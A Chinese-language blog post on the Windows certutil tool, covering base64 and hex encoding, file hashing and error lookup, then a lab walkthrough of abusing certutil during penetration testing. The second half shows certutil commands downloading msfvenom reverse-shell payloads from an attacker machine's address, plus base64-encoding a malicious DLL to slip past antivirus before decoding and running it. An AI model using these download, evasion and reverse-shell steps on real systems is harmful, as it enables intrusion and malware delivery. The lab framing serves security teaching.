Certutil工具（Windows命令行下载常用）

Posted 2021-06-02 番茄酱料

工具介绍

certutil是windows下一款下载文件的工具，自从WindowsServer2003就自带，但是在Server 2003使用会有问题，也就是说，以下命令是在Win7及其以后的机器中使用。其功能可校验文件MD5，SHA1，SHA256，下载恶意文件和免杀
Certutil
Certutil是一个CLI程序，可用于转储和显示证书颁发机构（CA），配置信息，证书服务，CA组件的备份和还原以及验证证书，密钥对和证书链，它作为证书服务的一部分安装

作为系统工具的它为什么会成为一个攻击工具（后门）？看下面演示

功能介绍

编码

Certutil包含一个编码参数（编码）。这有助于在Base64中编码文件的内容。这是在Windows中等效于Linux中的base64命令。
不能打开.exe可执行文件时候，可以使用certutil对可执行文件进行编码。然后传输编码后的数据，然后在接收机上对其进行解码。
这里创建一个名为test.txt的文本文件，输入一些内容，打开powershell
命令：Add-Content test.txt “ni hao”
type .\\test.txt

编码（base64）
命令：certutil -encode test.txt encode.txt
type .\\encode.txt

编码（十六进制）
命令：certutil -encodehex test.txt encode2.txt
type .\\encode2.txt

解码

解码（base64）
命令：type .\\encode.txt
certutil -decode encode.txt decode.txt
Type .\\decode.txt

解码（十六进制）

散列

获取数据并传递固定长度的输出字符串。使用哈希加密算法，例如MD5，SHA-1，SHA-256，可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性，这是一种文件签名。通过比较校验和，我们可以识别重复文件。
命令：certutil -hashfile生成指定哈希值
命令：certutil -hashfile test.txt md5（生成md5）

命令：certutil -hashfile test.txt sha1（生成sha1）

命令：certutil -hashfile test.txt sha256（生成sha256）

下载

certutil还可用于从互联网下载文件
这里从服务器下载xss.js

命令：certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js

系统错误代码

Certutil可以帮助你找到系统错误代码的消息文本，查看系统错误代码的含义
命令：certutil -error 8200

命令：certutil -error 0x200

使用Certutil进行渗透测试

环境：攻击机（kali 192.168.211.129）
靶机（win7 192.168.211.128）

Certutil可在未经任何验证或评估的情况下主动从Internet下载文件

Certutil可用于将文件从一个系统复制到另一个系统，以在攻击过程中横向移动一些攻击工具或其他文件
这里用msf中的msfvenom生成一个反向链接负载

通过python传输

同时kali机器msf开启监听

在靶机上通过certutil下载该文件并运行

返回查看监听

成功反弹shell

成功使用certutil和恶意可执行文件来Getshell

提交恶意DLL编码

Certutil可对文件进行base64编码，攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据，然后再解码这些文件，这就是certutil发挥作用的地方，可以解码数据并避免杀毒软件的察觉。Certutil还可以用于解码已隐藏在证书文件中的可移植可执行文件。
有效载荷可以被编码或加密，以避免被检测
还是生成有效负载，有效负载的格式在动态链接库文件.dll中设置，命名为dll.txt

开起监听

在靶机上下载该文件，并且谨慎进行，文件被下载为文本文件且被编译成另一个文本文件，此时下载的是两个文件
命令：certutil -urlcache -split -f http://192.168.211.129:8000/dll.txt | certutil -encode dll.txt edll.txt

然后进行解码并保存在exploit.dll（杀毒软件不会察觉），运行dll

查看监听

成功使用certutil和恶意编码的可执行文件Getshell

参考链接：https://zhuanlan.zhihu.com/p/107819644